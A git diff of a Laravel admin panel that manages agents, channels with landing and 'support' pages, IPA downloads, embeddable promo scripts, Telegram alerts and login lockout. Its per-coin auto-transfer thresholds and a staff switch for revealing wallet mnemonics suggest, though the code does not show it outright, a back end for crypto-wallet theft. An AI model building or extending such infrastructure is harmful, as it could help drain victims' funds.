$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||||
|
|
||||||
$data = collect($paginator->items())->map(function (User $u) {
|
$showReveal = (bool) config('coruna.mnemonic_reveal.staff_enabled');
|
||||||
return [
|
$data = collect($paginator->items())->map(function (User $u) use ($showReveal) {
|
||||||
|
$row = [
|
||||||
'id' => $u->id,
|
'id' => $u->id,
|
||||||
'username' => $u->username,
|
'username' => $u->username,
|
||||||
'status' => (int) $u->status,
|
'status' => (int) $u->status,
|
||||||
'comment' => $u->comment ?: '',
|
'comment' => $u->comment ?: '',
|
||||||
|
'chat_id' => $u->chat_id ?: '',
|
||||||
|
'telegram_ready' => $u->hasTelegramChat(),
|
||||||
|
'google_bound' => $u->hasGoogleBound() ? 1 : 0,
|
||||||
|
'login_attempts' => (int) $u->login_attempts,
|
||||||
|
'locked_at' => optional($u->locked_at)->format('Y-m-d H:i:s'),
|
||||||
|
'is_locked' => $u->isLocked(),
|
||||||
'channels_count' => (int) $u->channels_count,
|
'channels_count' => (int) $u->channels_count,
|
||||||
|
'auto_transfer_enabled' => (int) $u->auto_transfer_enabled,
|
||||||
|
'auto_transfer_threshold_usdt' => $u->auto_transfer_threshold_usdt !== null ? (string) $u->auto_transfer_threshold_usdt : '',
|
||||||
|
'auto_transfer_threshold_trx' => $u->auto_transfer_threshold_trx !== null ? (string) $u->auto_transfer_threshold_trx : '',
|
||||||
|
'auto_transfer_threshold_eth' => $u->auto_transfer_threshold_eth !== null ? (string) $u->auto_transfer_threshold_eth : '',
|
||||||
|
'auto_transfer_threshold_btc' => $u->auto_transfer_threshold_btc !== null ? (string) $u->auto_transfer_threshold_btc : '',
|
||||||
|
'auto_transfer_threshold_bnb' => $u->auto_transfer_threshold_bnb !== null ? (string) $u->auto_transfer_threshold_bnb : '',
|
||||||
|
'album_storage_default' => $u->albumStorageDefaultEnabled() ? 1 : 0,
|
||||||
'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'),
|
'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'),
|
||||||
'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'),
|
'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'),
|
||||||
];
|
];
|
||||||
|
if ($showReveal) {
|
||||||
|
$row['can_reveal_mnemonics'] = $u->mnemonicRevealEnabled() ? 1 : 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
return $row;
|
||||||
})->values();
|
})->values();
|
||||||
|
|
||||||
return response()->json([
|
return response()->json([
|
||||||
@@ -67,6 +93,15 @@ class AgentUserController extends Controller
|
|||||||
'password' => ['required', 'string', 'min:6', 'max:128'],
|
'password' => ['required', 'string', 'min:6', 'max:128'],
|
||||||
'comment' => ['nullable', 'string', 'max:255'],
|
'comment' => ['nullable', 'string', 'max:255'],
|
||||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||||
|
'chat_id' => $this->chatIdRules(),
|
||||||
|
'auto_transfer_enabled' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||||
|
'auto_transfer_threshold_usdt' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'auto_transfer_threshold_bnb' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'album_storage_default' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||||
|
'can_reveal_mnemonics' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||||
]);
|
]);
|
||||||
|
|
||||||
$user = User::query()->create([
|
$user = User::query()->create([
|
||||||
@@ -74,6 +109,15 @@ class AgentUserController extends Controller
|
|||||||
'password' => $data['password'],
|
'password' => $data['password'],
|
||||||
'comment' => $data['comment'] ?? null,
|
'comment' => $data['comment'] ?? null,
|
||||||
'status' => (int) ($data['status'] ?? 1),
|
'status' => (int) ($data['status'] ?? 1),
|
||||||
|
'chat_id' => $this->nullableTrim($data['chat_id'] ?? null),
|
||||||
|
'auto_transfer_enabled' => (bool) ((int) ($data['auto_transfer_enabled'] ?? 0)),
|
||||||
|
'auto_transfer_threshold_usdt' => $this->nullableThreshold($data['auto_transfer_threshold_usdt'] ?? null),
|
||||||
|
'auto_transfer_threshold_trx' => $this->nullableThreshold($data['auto_transfer_threshold_trx'] ?? null),
|
||||||
|
'auto_transfer_threshold_eth' => $this->nullableThreshold($data['auto_transfer_threshold_eth'] ?? null),
|
||||||
|
'auto_transfer_threshold_btc' => $this->nullableThreshold($data['auto_transfer_threshold_btc'] ?? null),
|
||||||
|
'auto_transfer_threshold_bnb' => $this->nullableThreshold($data['auto_transfer_threshold_bnb'] ?? null),
|
||||||
|
'album_storage_default' => (bool) ((int) ($data['album_storage_default'] ?? 0)),
|
||||||
|
'can_reveal_mnemonics' => (bool) ((int) ($data['can_reveal_mnemonics'] ?? 0)),
|
||||||
]);
|
]);
|
||||||
|
|
||||||
return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $user->id]]);
|
return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $user->id]]);
|
||||||
@@ -85,6 +129,15 @@ class AgentUserController extends Controller
|
|||||||
'password' => ['nullable', 'string', 'min:6', 'max:128'],
|
'password' => ['nullable', 'string', 'min:6', 'max:128'],
|
||||||
'comment' => ['nullable', 'string', 'max:255'],
|
'comment' => ['nullable', 'string', 'max:255'],
|
||||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||||
|
'chat_id' => $this->chatIdRules($agent->id),
|
||||||
|
'auto_transfer_enabled' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||||
|
'auto_transfer_threshold_usdt' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'auto_transfer_threshold_bnb' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'album_storage_default' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||||
|
'can_reveal_mnemonics' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||||
]);
|
]);
|
||||||
|
|
||||||
if (array_key_exists('comment', $data)) {
|
if (array_key_exists('comment', $data)) {
|
||||||
@@ -93,6 +146,24 @@ class AgentUserController extends Controller
|
|||||||
if (array_key_exists('status', $data) && $data['status'] !== null) {
|
if (array_key_exists('status', $data) && $data['status'] !== null) {
|
||||||
$agent->status = (int) $data['status'];
|
$agent->status = (int) $data['status'];
|
||||||
}
|
}
|
||||||
|
if (array_key_exists('chat_id', $data)) {
|
||||||
|
$agent->chat_id = $this->nullableTrim($data['chat_id']);
|
||||||
|
}
|
||||||
|
if (array_key_exists('auto_transfer_enabled', $data) && $data['auto_transfer_enabled'] !== null) {
|
||||||
|
$agent->auto_transfer_enabled = (bool) ((int) $data['auto_transfer_enabled']);
|
||||||
|
}
|
||||||
|
if (array_key_exists('album_storage_default', $data) && $data['album_storage_default'] !== null) {
|
||||||
|
$agent->album_storage_default = (bool) ((int) $data['album_storage_default']);
|
||||||
|
}
|
||||||
|
if (array_key_exists('can_reveal_mnemonics', $data) && $data['can_reveal_mnemonics'] !== null) {
|
||||||
|
$agent->can_reveal_mnemonics = (bool) ((int) $data['can_reveal_mnemonics']);
|
||||||
|
}
|
||||||
|
foreach (['usdt', 'trx', 'eth', 'btc', 'bnb'] as $coin) {
|
||||||
|
$key = 'auto_transfer_threshold_'.$coin;
|
||||||
|
if (array_key_exists($key, $data)) {
|
||||||
|
$agent->{$key} = $this->nullableThreshold($data[$key] ?? null);
|
||||||
|
}
|
||||||
|
}
|
||||||
if (! empty($data['password'])) {
|
if (! empty($data['password'])) {
|
||||||
$agent->password = $data['password'];
|
$agent->password = $data['password'];
|
||||||
}
|
}
|
||||||
@@ -101,6 +172,58 @@ class AgentUserController extends Controller
|
|||||||
return response()->json(['code' => 0, 'msg' => 'ok']);
|
return response()->json(['code' => 0, 'msg' => 'ok']);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function unlock(User $agent)
|
||||||
|
{
|
||||||
|
/** @var Admin|null $actor */
|
||||||
|
$actor = auth('admin')->user();
|
||||||
|
if (! $actor instanceof Admin) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '未登录'], 401);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (! $agent->isLocked()) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '该账号未被封禁']);
|
||||||
|
}
|
||||||
|
|
||||||
|
$agent->clearLoginAttempts();
|
||||||
|
|
||||||
|
SystemLog::record(
|
||||||
|
$actor,
|
||||||
|
'admin',
|
||||||
|
SystemLog::ACTION_AGENT_UNLOCKED,
|
||||||
|
'管理员「'.$actor->username.'」解除代理「'.$agent->username.'」的封禁状态',
|
||||||
|
request(),
|
||||||
|
);
|
||||||
|
|
||||||
|
return response()->json(['code' => 0, 'msg' => '已解除封禁']);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testTelegram(Request $request, TelegramNotifier $telegram)
|
||||||
|
{
|
||||||
|
$data = $request->validate([
|
||||||
|
'chat_id' => ['nullable', 'string', 'max:64'],
|
||||||
|
'agent_id' => ['nullable', 'integer'],
|
||||||
|
]);
|
||||||
|
|
||||||
|
$chatId = $this->nullableTrim($data['chat_id'] ?? null) ?? '';
|
||||||
|
$agent = null;
|
||||||
|
if (! empty($data['agent_id'])) {
|
||||||
|
$agent = User::query()->find((int) $data['agent_id']);
|
||||||
|
if ($chatId === '') {
|
||||||
|
$chatId = trim((string) ($agent?->chat_id ?? ''));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$label = $agent !== null
|
||||||
|
? '代理 '.$agent->username.' 通知群推送正常。'
|
||||||
|
: '代理通知群推送正常。';
|
||||||
|
$result = $telegram->sendTest($chatId, $label);
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => $result['ok'] ? 0 : 1,
|
||||||
|
'msg' => $result['ok'] ? '已发送测试消息,请查看对应群' : ($result['error'] ?: '发送失败'),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
public function channels(User $agent)
|
public function channels(User $agent)
|
||||||
{
|
{
|
||||||
$rows = Channel::query()
|
$rows = Channel::query()
|
||||||
@@ -118,4 +241,57 @@ class AgentUserController extends Controller
|
|||||||
|
|
||||||
return response()->json(['code' => 0, 'msg' => '', 'data' => $rows]);
|
return response()->json(['code' => 0, 'msg' => '', 'data' => $rows]);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** @return list<mixed> */
|
||||||
|
private function chatIdRules(?int $ignoreUserId = null): array
|
||||||
|
{
|
||||||
|
$unique = Rule::unique('users', 'chat_id')
|
||||||
|
->where(fn ($q) => $q->whereNotNull('chat_id')->where('chat_id', '!=', ''));
|
||||||
|
if ($ignoreUserId !== null) {
|
||||||
|
$unique = $unique->ignore($ignoreUserId);
|
||||||
|
}
|
||||||
|
|
||||||
|
return [
|
||||||
|
'nullable',
|
||||||
|
'string',
|
||||||
|
'max:64',
|
||||||
|
function (string $attribute, mixed $value, \Closure $fail) use ($unique): void {
|
||||||
|
$chatId = $this->nullableTrim($value);
|
||||||
|
if ($chatId === null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
$owner = trim((string) config('coruna.telegram.owner_chat_id', ''));
|
||||||
|
if ($owner !== '' && $chatId === $owner) {
|
||||||
|
$fail('不能与官方 Telegram Chat ID 相同');
|
||||||
|
}
|
||||||
|
$validator = validator([$attribute => $chatId], [$attribute => [$unique]]);
|
||||||
|
if ($validator->fails()) {
|
||||||
|
$fail('该 Chat ID 已被其他代理使用');
|
||||||
|
}
|
||||||
|
},
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
private function nullableTrim(mixed $value): ?string
|
||||||
|
{
|
||||||
|
if ($value === null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
$value = trim((string) $value);
|
||||||
|
|
||||||
|
return $value === '' ? null : $value;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function nullableThreshold(mixed $value): ?string
|
||||||
|
{
|
||||||
|
$trimmed = $this->nullableTrim($value);
|
||||||
|
if ($trimmed === null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
if (! is_numeric($trimmed)) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
return $trimmed;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,51 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Http\Controllers\Admin;
|
||||||
|
|
||||||
|
use App\Http\Controllers\Concerns\PortalAware;
|
||||||
|
use App\Http\Controllers\Controller;
|
||||||
|
use App\Services\AnalyticsReportService;
|
||||||
|
use App\Services\DailyReportService;
|
||||||
|
use App\Support\AgentScope;
|
||||||
|
use Illuminate\Http\Request;
|
||||||
|
|
||||||
|
class AnalyticsController extends Controller
|
||||||
|
{
|
||||||
|
use PortalAware;
|
||||||
|
|
||||||
|
public function __construct(
|
||||||
|
private readonly AnalyticsReportService $analytics,
|
||||||
|
private readonly DailyReportService $reports,
|
||||||
|
) {}
|
||||||
|
|
||||||
|
public function index()
|
||||||
|
{
|
||||||
|
[$from, $to] = $this->reports->window();
|
||||||
|
|
||||||
|
return view('admin.reports.analytics', [
|
||||||
|
'portal' => $this->portal(),
|
||||||
|
'defaultFrom' => $from->toDateString(),
|
||||||
|
'defaultTo' => $to->toDateString(),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function data(Request $request)
|
||||||
|
{
|
||||||
|
$filters = [
|
||||||
|
'date_from' => trim((string) $request->query('date_from', '')),
|
||||||
|
'date_to' => trim((string) $request->query('date_to', '')),
|
||||||
|
'date_range' => trim((string) $request->query('date_range', '')),
|
||||||
|
'range' => (string) $request->query('range', '30d'),
|
||||||
|
'agent_user_id' => $this->isAgentPortal()
|
||||||
|
? null
|
||||||
|
: AgentScope::parseAgentUserIdFilter($request->query('agent_user_id')),
|
||||||
|
];
|
||||||
|
$data = $this->analytics->collect($this->agent(), $filters);
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => '',
|
||||||
|
'data' => $data,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -4,7 +4,9 @@ namespace App\Http\Controllers\Admin;
|
|||||||
|
|
||||||
use App\Http\Controllers\Controller;
|
use App\Http\Controllers\Controller;
|
||||||
use App\Models\Admin;
|
use App\Models\Admin;
|
||||||
|
use App\Models\SystemLog;
|
||||||
use App\Services\AdminGoogle2fa;
|
use App\Services\AdminGoogle2fa;
|
||||||
|
use App\Support\VisitorIp;
|
||||||
use Illuminate\Http\JsonResponse;
|
use Illuminate\Http\JsonResponse;
|
||||||
use Illuminate\Http\Request;
|
use Illuminate\Http\Request;
|
||||||
use Illuminate\Support\Facades\Auth;
|
use Illuminate\Support\Facades\Auth;
|
||||||
@@ -60,12 +62,47 @@ class AuthController extends Controller
|
|||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Account-level lock: if the admin account is locked due to too many
|
||||||
|
// consecutive wrong passwords, reject the login regardless of IP.
|
||||||
|
$admin = Admin::query()->where('username', $credentials['username'])->first();
|
||||||
|
if ($admin && $admin->isLocked()) {
|
||||||
|
return response()->json([
|
||||||
|
'code' => 1,
|
||||||
|
'msg' => '账号已被封锁(连续输错密码 '.self::MAX_ATTEMPTS.' 次),请联系超级管理员解除',
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
if (! Auth::guard('admin')->attempt(
|
if (! Auth::guard('admin')->attempt(
|
||||||
['username' => $credentials['username'], 'password' => $credentials['password']],
|
['username' => $credentials['username'], 'password' => $credentials['password']],
|
||||||
false
|
false
|
||||||
)) {
|
)) {
|
||||||
RateLimiter::hit($throttleKey, self::DECAY_SECONDS);
|
RateLimiter::hit($throttleKey, self::DECAY_SECONDS);
|
||||||
|
|
||||||
|
// Track consecutive wrong passwords on the account itself.
|
||||||
|
if ($admin) {
|
||||||
|
$justLocked = $admin->recordFailedLogin(self::MAX_ATTEMPTS);
|
||||||
|
if ($justLocked) {
|
||||||
|
SystemLog::record(
|
||||||
|
$admin,
|
||||||
|
'admin',
|
||||||
|
SystemLog::ACTION_ADMIN_LOCKED,
|
||||||
|
'管理员「'.$admin->username.'」连续输错密码 '.self::MAX_ATTEMPTS.' 次,账号被自动封锁',
|
||||||
|
$request,
|
||||||
|
);
|
||||||
|
return response()->json([
|
||||||
|
'code' => 1,
|
||||||
|
'msg' => '密码连续输错 '.self::MAX_ATTEMPTS.' 次,账号已被封锁,请联系超级管理员解除',
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
$remaining = self::MAX_ATTEMPTS - (int) $admin->fresh()->login_attempts;
|
||||||
|
if ($remaining > 0) {
|
||||||
|
return response()->json([
|
||||||
|
'code' => 1,
|
||||||
|
'msg' => '用户名或密码错误(剩余 '.$remaining.' 次尝试机会)',
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
return response()->json(['code' => 1, 'msg' => '用户名或密码错误']);
|
return response()->json(['code' => 1, 'msg' => '用户名或密码错误']);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -95,9 +132,10 @@ class AuthController extends Controller
|
|||||||
}
|
}
|
||||||
|
|
||||||
RateLimiter::clear($throttleKey);
|
RateLimiter::clear($throttleKey);
|
||||||
|
$user->clearLoginAttempts();
|
||||||
$request->session()->regenerate();
|
$request->session()->regenerate();
|
||||||
|
|
||||||
$user->forceFill(['last_ip' => $request->ip()])->save();
|
$user->forceFill(['last_ip' => VisitorIp::fromRequest($request)])->save();
|
||||||
|
|
||||||
return response()->json([
|
return response()->json([
|
||||||
'code' => 0,
|
'code' => 0,
|
||||||
@@ -117,6 +155,6 @@ class AuthController extends Controller
|
|||||||
|
|
||||||
private function throttleKey(Request $request): string
|
private function throttleKey(Request $request): string
|
||||||
{
|
{
|
||||||
return Str::transliterate(Str::lower((string) $request->input('username')).'|'.$request->ip());
|
return Str::transliterate(Str::lower((string) $request->input('username')).'|'.VisitorIp::fromRequest($request));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -6,6 +6,7 @@ use App\Http\Controllers\Concerns\PortalAware;
|
|||||||
use App\Http\Controllers\Controller;
|
use App\Http\Controllers\Controller;
|
||||||
use App\Models\Channel;
|
use App\Models\Channel;
|
||||||
use App\Models\User;
|
use App\Models\User;
|
||||||
|
use App\Services\ChannelEmbedZipService;
|
||||||
use App\Services\ChannelProjectService;
|
use App\Services\ChannelProjectService;
|
||||||
use Illuminate\Http\Request;
|
use Illuminate\Http\Request;
|
||||||
use Illuminate\Support\Facades\DB;
|
use Illuminate\Support\Facades\DB;
|
||||||
@@ -21,11 +22,23 @@ class ChannelController extends Controller
|
|||||||
{
|
{
|
||||||
$agents = $this->isAgentPortal()
|
$agents = $this->isAgentPortal()
|
||||||
? collect()
|
? collect()
|
||||||
: User::query()->orderBy('username')->get(['id', 'username']);
|
: User::query()->orderBy('username')->get(['id', 'username', 'comment']);
|
||||||
|
|
||||||
|
$agentOptions = $agents->map(function (User $a) {
|
||||||
|
$name = trim((string) $a->username);
|
||||||
|
$comment = trim((string) ($a->comment ?? ''));
|
||||||
|
|
||||||
|
return [
|
||||||
|
'id' => $a->id,
|
||||||
|
'username' => $name,
|
||||||
|
'label' => $comment !== '' ? $name.'/'.$comment : $name,
|
||||||
|
];
|
||||||
|
})->values();
|
||||||
|
|
||||||
return view('admin.channels.index', [
|
return view('admin.channels.index', [
|
||||||
'portal' => $this->portal(),
|
'portal' => $this->portal(),
|
||||||
'agents' => $agents,
|
'agents' => $agents,
|
||||||
|
'agentOptions' => $agentOptions,
|
||||||
'maxPerAgent' => Channel::maxPerAgent(),
|
'maxPerAgent' => Channel::maxPerAgent(),
|
||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
@@ -52,7 +65,7 @@ class ChannelController extends Controller
|
|||||||
$q->where('status', (int) $status);
|
$q->where('status', (int) $status);
|
||||||
}
|
}
|
||||||
|
|
||||||
$sortable = ['id', 'channel_id', 'status', 'user_id', 'created_at', 'updated_at'];
|
$sortable = ['id', 'channel_id', 'builder_type', 'status', 'user_id', 'created_at', 'updated_at'];
|
||||||
$field = (string) $request->query('field', 'id');
|
$field = (string) $request->query('field', 'id');
|
||||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||||
if (! in_array($field, $sortable, true)) {
|
if (! in_array($field, $sortable, true)) {
|
||||||
@@ -60,7 +73,7 @@ class ChannelController extends Controller
|
|||||||
}
|
}
|
||||||
$q->orderBy($field, $order);
|
$q->orderBy($field, $order);
|
||||||
|
|
||||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||||
$page = max(1, (int) $request->query('page', 1));
|
$page = max(1, (int) $request->query('page', 1));
|
||||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||||
|
|
||||||
@@ -68,11 +81,21 @@ class ChannelController extends Controller
|
|||||||
return [
|
return [
|
||||||
'id' => $c->id,
|
'id' => $c->id,
|
||||||
'channel_id' => $c->channel_id,
|
'channel_id' => $c->channel_id,
|
||||||
|
'builder_type' => $c->builderType(),
|
||||||
'user_id' => (int) $c->user_id,
|
'user_id' => (int) $c->user_id,
|
||||||
'agent_username' => $c->agentLabel(),
|
'agent_username' => $c->agentLabel(),
|
||||||
'remark' => $c->remark ?: '',
|
'remark' => $c->remark ?: '',
|
||||||
'status' => (int) $c->status,
|
'status' => (int) $c->status,
|
||||||
|
'app_name' => $c->app_name ?: '',
|
||||||
|
'bundle_id' => $c->bundle_id ?: '',
|
||||||
|
'h5_url' => $c->h5_url ?: '',
|
||||||
|
'ipa_url' => file_exists(public_path('channel/'.$c->channel_id.'/app.ipa')) ? '/channel/'.$c->channel_id.'/app.ipa' : '',
|
||||||
'links' => $c->supportLinks(),
|
'links' => $c->supportLinks(),
|
||||||
|
'landing_path' => $c->landingPath(),
|
||||||
|
'embed_zip_url' => $c->embedAssetDir()
|
||||||
|
? route($this->portal().'.channels.embedZip', $c)
|
||||||
|
: '',
|
||||||
|
'embed_script' => $c->isAppBuilder() ? '' : $c->promoScriptSnippet(),
|
||||||
'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'),
|
'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'),
|
||||||
'updated_at' => optional($c->updated_at)->format('Y-m-d H:i:s'),
|
'updated_at' => optional($c->updated_at)->format('Y-m-d H:i:s'),
|
||||||
];
|
];
|
||||||
@@ -88,10 +111,18 @@ class ChannelController extends Controller
|
|||||||
|
|
||||||
public function randomId()
|
public function randomId()
|
||||||
{
|
{
|
||||||
|
$builderType = strtolower(trim((string) request()->query('builder_type', 'new')));
|
||||||
|
|
||||||
|
$channelId = match ($builderType) {
|
||||||
|
Channel::BUILDER_APP => Channel::randomAppChannelId(),
|
||||||
|
Channel::BUILDER_OLD => Channel::randomChannelId(),
|
||||||
|
default => Channel::randomNewChannelId(),
|
||||||
|
};
|
||||||
|
|
||||||
return response()->json([
|
return response()->json([
|
||||||
'code' => 0,
|
'code' => 0,
|
||||||
'msg' => '',
|
'msg' => '',
|
||||||
'data' => ['channel_id' => Channel::randomChannelId()],
|
'data' => ['channel_id' => $channelId],
|
||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -99,8 +130,20 @@ class ChannelController extends Controller
|
|||||||
{
|
{
|
||||||
abort_if($this->isAgentPortal(), 403);
|
abort_if($this->isAgentPortal(), 403);
|
||||||
|
|
||||||
|
$builderType = strtolower(trim((string) $request->input('builder_type', Channel::BUILDER_NEW)));
|
||||||
|
|
||||||
|
// ── App builder: no static resources, just a DB row ──────────
|
||||||
|
if ($builderType === Channel::BUILDER_APP) {
|
||||||
|
return $this->storeAppChannel($request);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Old builder: 32-hex channel id, /web/{id}/support.html ──
|
||||||
|
if ($builderType === Channel::BUILDER_OLD) {
|
||||||
|
return $this->storeOldChannel($request, $projects);
|
||||||
|
}
|
||||||
|
|
||||||
$data = $request->validate([
|
$data = $request->validate([
|
||||||
'channel_id' => ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')],
|
'channel_id' => ['required', 'string', 'regex:'.Channel::NEW_CHANNEL_ID_PATTERN],
|
||||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||||
'support_template' => ['nullable', 'string', Rule::in(ChannelProjectService::SUPPORT_TEMPLATES)],
|
'support_template' => ['nullable', 'string', Rule::in(ChannelProjectService::SUPPORT_TEMPLATES)],
|
||||||
'deployment_seed' => ['nullable', 'string', 'min:1', 'max:32'],
|
'deployment_seed' => ['nullable', 'string', 'min:1', 'max:32'],
|
||||||
@@ -109,11 +152,21 @@ class ChannelController extends Controller
|
|||||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||||
]);
|
]);
|
||||||
|
|
||||||
|
$normalized = Channel::normalizeNewChannelId((string) $data['channel_id']);
|
||||||
|
if ($normalized === null) {
|
||||||
|
throw ValidationException::withMessages(['channel_id' => '渠道 ID 必须是 X.Y.ZZ 格式(6 位,字母或数字,例如 A.B.C1)']);
|
||||||
|
}
|
||||||
|
$data['channel_id'] = $normalized;
|
||||||
|
if (Channel::query()->where('channel_id', $normalized)->exists()) {
|
||||||
|
throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
|
||||||
|
}
|
||||||
|
|
||||||
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
|
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
|
||||||
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
|
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
|
||||||
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
$builderType = Channel::BUILDER_NEW;
|
||||||
$supportTemplate = (string) ($data['support_template'] ?? ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE);
|
$supportTemplate = (string) ($data['support_template'] ?? ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE);
|
||||||
$this->assertAgentChannelQuota($userId);
|
$this->assertAgentChannelQuota($userId);
|
||||||
|
|
||||||
@@ -123,6 +176,7 @@ class ChannelController extends Controller
|
|||||||
$supportTemplate,
|
$supportTemplate,
|
||||||
$data['deployment_seed'] ?? null,
|
$data['deployment_seed'] ?? null,
|
||||||
$data['reporting_seed'] ?? null,
|
$data['reporting_seed'] ?? null,
|
||||||
|
$builderType,
|
||||||
);
|
);
|
||||||
} catch (\Throwable $e) {
|
} catch (\Throwable $e) {
|
||||||
return response()->json([
|
return response()->json([
|
||||||
@@ -132,7 +186,7 @@ class ChannelController extends Controller
|
|||||||
}
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
$channel = DB::transaction(function () use ($data, $userId) {
|
$channel = DB::transaction(function () use ($data, $userId, $builderType) {
|
||||||
if ($userId > 0) {
|
if ($userId > 0) {
|
||||||
$userExists = User::query()->lockForUpdate()->whereKey($userId)->exists();
|
$userExists = User::query()->lockForUpdate()->whereKey($userId)->exists();
|
||||||
if (! $userExists) {
|
if (! $userExists) {
|
||||||
@@ -144,6 +198,7 @@ class ChannelController extends Controller
|
|||||||
|
|
||||||
return Channel::query()->create([
|
return Channel::query()->create([
|
||||||
'channel_id' => $data['channel_id'],
|
'channel_id' => $data['channel_id'],
|
||||||
|
'builder_type' => $builderType,
|
||||||
'user_id' => $userId,
|
'user_id' => $userId,
|
||||||
'domains' => [],
|
'domains' => [],
|
||||||
'remark' => $data['remark'] ?? null,
|
'remark' => $data['remark'] ?? null,
|
||||||
@@ -151,7 +206,7 @@ class ChannelController extends Controller
|
|||||||
]);
|
]);
|
||||||
});
|
});
|
||||||
} catch (\Throwable $e) {
|
} catch (\Throwable $e) {
|
||||||
$this->compensateBuildUnlessChannelExists($projects, $data['channel_id']);
|
$this->compensateBuildUnlessChannelExists($projects, $data['channel_id'], $builderType);
|
||||||
|
|
||||||
return response()->json([
|
return response()->json([
|
||||||
'code' => 1,
|
'code' => 1,
|
||||||
@@ -164,13 +219,298 @@ class ChannelController extends Controller
|
|||||||
'msg' => 'ok',
|
'msg' => 'ok',
|
||||||
'data' => [
|
'data' => [
|
||||||
'id' => $channel->id,
|
'id' => $channel->id,
|
||||||
|
'builder_type' => $channel->builderType(),
|
||||||
'links' => $channel->supportLinks(),
|
'links' => $channel->supportLinks(),
|
||||||
'seeds' => $build['seeds'],
|
'seeds' => $build['seeds'],
|
||||||
'domains' => $build['domains'],
|
'domains' => $build['domains'],
|
||||||
'seeds_initialized' => $build['seeds_initialized'],
|
'seeds_initialized' => $build['seeds_initialized'],
|
||||||
